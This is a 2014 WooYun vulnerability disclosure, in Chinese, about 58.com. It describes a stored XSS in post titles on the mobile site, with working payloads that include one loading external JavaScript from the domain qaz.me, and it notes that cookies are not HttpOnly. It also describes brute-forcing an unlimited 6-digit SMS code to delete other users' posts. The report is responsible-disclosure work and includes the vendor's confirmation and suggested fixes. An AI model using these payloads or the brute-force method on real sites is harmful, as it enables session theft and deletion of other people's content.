当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-072166

漏洞标题:58同城存储型XSS ( 25个字符加载JS ) + 任意手机号码的帖子删除

相关厂商:58同城

漏洞作者: 0x_Jin

提交时间:2014-08-13 10:27

修复时间:2014-09-27 10:30

公开时间:2014-09-27 10:30

漏洞类型:xss跨站脚本攻击

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-08-13: 细节已通知厂商并且等待厂商处理中
2014-08-13: 厂商已经确认,细节仅向厂商公开
2014-08-23: 细节向核心白帽子及相关领域专家公开
2014-09-02: 细节向普通白帽子公开
2014-09-12: 细节向实习白帽子公开
2014-09-27: 细节向公众公开

简要描述:

不说了 之前把精力全耗在主域上面 另外感谢parsec众基友的思路跟短域名

详细说明:

挖漏洞实在挖到太晚了 没精力写详细了 就这样写吧 忘谅解!看在这么努力挖洞的份上别走小厂商流程了把!
http://m.58.com/cs/cwzengsong/18047282901898x.shtml?refrom=wap
问题存在于发表一个帖子的标题处

QQ20140813-2.png


这是截图。在pc端的网页上 标题也输出在了 meta 的content 里 但是由于25个字符的限制导致不能造成比较有影响力的漏洞(在这里耗费了很长的时间尝试去绕过)。。。
后来转念一想 不是还有m.58 的手机网页么 就访问下手机域名下的这个帖子
发现 标题有三处输出 其中一处被带入了 script 内。
测试一下发现 双引号未过滤 妥了 写代码。
看图:

2CCC3242-BED5-43EC-A05A-5FD390C68E37.jpg


代码如下:
<script>window._bd_share_config={"common":{"bdSnsKey":{},"bdText":"【租房 买房 找工作 找服务就上手机58|m.58.com】"+alert(1)+" - 雨花宠物赠送/领养 - 长沙58同城","bdMini":"2","bdMiniList":false,"bdPic":"","bdStyle":"0","bdSize":"32"},"share":{}};with(document)0[(getElementsByTagName('head')[0]||body).appendChild(createElement('script')).src='http://bdimg.share.baidu.com/static/api/js/share.js?v=89860593.js?cdnversion='+~(-new Date()/36e5)];</script>
payload :"+alert(1)+" 花了12个字符
本想就此打住提交的 结果parsec群里的几个基友就开始说了 怎么不加载钩子什么的
(之前我稍微看了下没jquery 就放弃了 后来发现jquery 被改名了 改成jq了 然后我立马斗志就来了)
再加上索马里的海贼的短域名 qaz.me相助 就更加有信心了
于是再次构造payload 来加载js
最终payload: "+loadJS("//qaz.me")+" (22字符)
最终以22字符的payload 成功加载外部js
cookie 未做httponly
上张图:

QQ20140813-4.png


另外一个就是任意手机号码的帖子删除

QQ20140813-3.png


在这个界面可以查询手机号发了哪些帖子

QQ20140813-5.png


选中其中一条删除 就会发送6为纯数字的验证码到手机上 又没对验证码做时间限制。也没对客户端所提交的验证码次数进行限制。
上图一张:

QQ20140813-6.png


当提交的payload 为793196时就正确了 返回值为true 也确实删除了!

漏洞证明:

问题存在于发表一个帖子的标题处

QQ20140813-2.png


这是截图。在pc端的网页上 标题也输出在了 meta 的content 里 但是由于25个字符的限制导致不能造成比较有影响力的漏洞(在这里耗费了很长的时间尝试去绕过)。。。
后来转念一想 不是还有m.58 的手机网页么 就访问下手机域名下的这个帖子
发现 标题有三处输出 其中一处被带入了 script 内。
测试一下发现 双引号未过滤 妥了 写代码。
看图:

2CCC3242-BED5-43EC-A05A-5FD390C68E37.jpg


代码如下:
<script>window._bd_share_config={"common":{"bdSnsKey":{},"bdText":"【租房 买房 找工作 找服务就上手机58|m.58.com】"+alert(1)+" - 雨花宠物赠送/领养 - 长沙58同城","bdMini":"2","bdMiniList":false,"bdPic":"","bdStyle":"0","bdSize":"32"},"share":{}};with(document)0[(getElementsByTagName('head')[0]||body).appendChild(createElement('script')).src='http://bdimg.share.baidu.com/static/api/js/share.js?v=89860593.js?cdnversion='+~(-new Date()/36e5)];</script>
payload :"+alert(1)+" 花了12个字符
本想就此打住提交的 结果parsec群里的几个基友就开始说了 怎么不加载钩子什么的
(之前我稍微看了下没jquery 就放弃了 后来发现jquery 被改名了 改成jq了 然后我立马斗志就来了)
再加上索马里的海贼的短域名 qaz.me相助 就更加有信心了
于是再次构造payload 来加载js
最终payload: "+loadJS("//qaz.me")+" (22字符)
最终以22字符的payload 成功加载外部js
cookie 未做httponly
上张图:

QQ20140813-4.png


另外一个就是任意手机号码的帖子删除

QQ20140813-3.png


在这个界面可以查询手机号发了哪些帖子

QQ20140813-5.png


选中其中一条删除 就会发送6为纯数字的验证码到手机上 又没对验证码做时间限制。也没对客户端所提交的验证码次数进行限制。
上图一张:

QQ20140813-6.png


当提交的payload 为793196时就正确了 返回值为true 也确实删除了!

修复方案:

xss 修复的话 你们虽然限制了长度 可是你们引用的一些js 的类 库 可以当做我们的帮手。你直接去除了' 号 那么也过滤掉"号吧 还有一些危险的函数也过滤掉! 反正xss的修复方法那么多 也不差我这一个
任意帖子的删除的话,验证码设置有效时间。客户端所提交验证码次数应该有限

版权声明:转载请注明来源 0x_Jin@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:20

确认时间:2014-08-13 13:20

厂商回复:

感谢对58安全的关注,确认存在漏洞,会尽快修复处理!

最新状态:

暂无